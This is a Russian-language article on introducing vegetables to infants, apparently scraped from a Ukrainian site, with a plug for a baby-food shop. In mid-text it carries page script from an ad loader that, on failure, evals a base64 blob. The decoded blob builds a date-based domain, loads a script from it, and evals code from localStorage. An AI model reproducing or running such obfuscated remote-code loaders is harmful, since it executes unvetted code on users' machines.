Самые полезные овощи
Овощи следует вводить в рацион ребенка раньше, чем фрукты, чтобы он привык к их вкусу. Наиболее рекомендуемые овощи в питании младенцев:
морковь;картофель;тыква;сельдерей;петрушка;брокколи.
Овощи — ценный источник витаминов и минералов, необходимых для правильного развития каждого ребенка. Они должны появляться в рационе грудного ребенка в следующем виде:
варенные;тертые;пюре.
Компания Shop Hipp (shop.hipp.ua) предлагает широкий выбор детских овощных пюре, а также других видов детского питания.
Когда начинать вводить в рацион овощи
Твердая пища должна вводиться в рацион ребенка в возрасте от 5 до 7 месяцев, а точнее после 17-недельного периода, но не позднее 26-недельного.
Желательно начать расширять рацион малыша с овощей, потому что они богаты витаминами и минералами, которые определяют правильное развитие ребенка. Они также являются источником ценных пищевых волокон, которые поддерживают процессы пищеварения, предотвращают заболевания желудочно-кишечного тракта и регулируют ритм испражнений. Однако избыток пищевых волокон в рационе младенца может оказаться вредным и вызывать образование газов и возникновение болей в животе. По этой причине овощи и фрукты должны быть спелыми, вареными и измельченными.
Диета малыша также должна быть легкоусвояемой, чтобы не перегружать его нежный пищеварительный тракт. Это значит, что из детского меню исключаются жареные и жирные продукты. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
С 9 месяцев в рацион ребенка могут входить мелко нарезанные или измельченные вилкой овощи, что позволяет ему практиковать жевание, а это, в частности, оказывает положительный эффект на развитие зубов и правильного прикуса.
В приоритете овощи или фрукты
Согласно проведенным исследованиям, в рационе младенцев и маленьких детей мало овощей. На это есть разные причины, и одна из них заключается в том, что родители с гораздо большей вероятностью начнут расширять рацион своего малыша фруктами.
Следует помнить, что пищевые привычки формируются с самых ранних лет жизни ребенка. По этой причине желательно начинать расширять меню с овощей, так как ребенку обычно сложнее привыкнуть к их вкусу, чем в случае сладких фруктов.
Фрукты рекомендуется давать малышу через 2–3 недели после его приобщения к овощам. Важно вводить в рацион один овощ в день, чтобы ребенок мог воспринять его вкус. Кроме того, с помощью этой процедуры родителям легче наблюдать за реакцией своего малыша на новый продукт. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/ovoshhnye-blyuda-dlya-malyshej-kogda-nachinat-davat/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
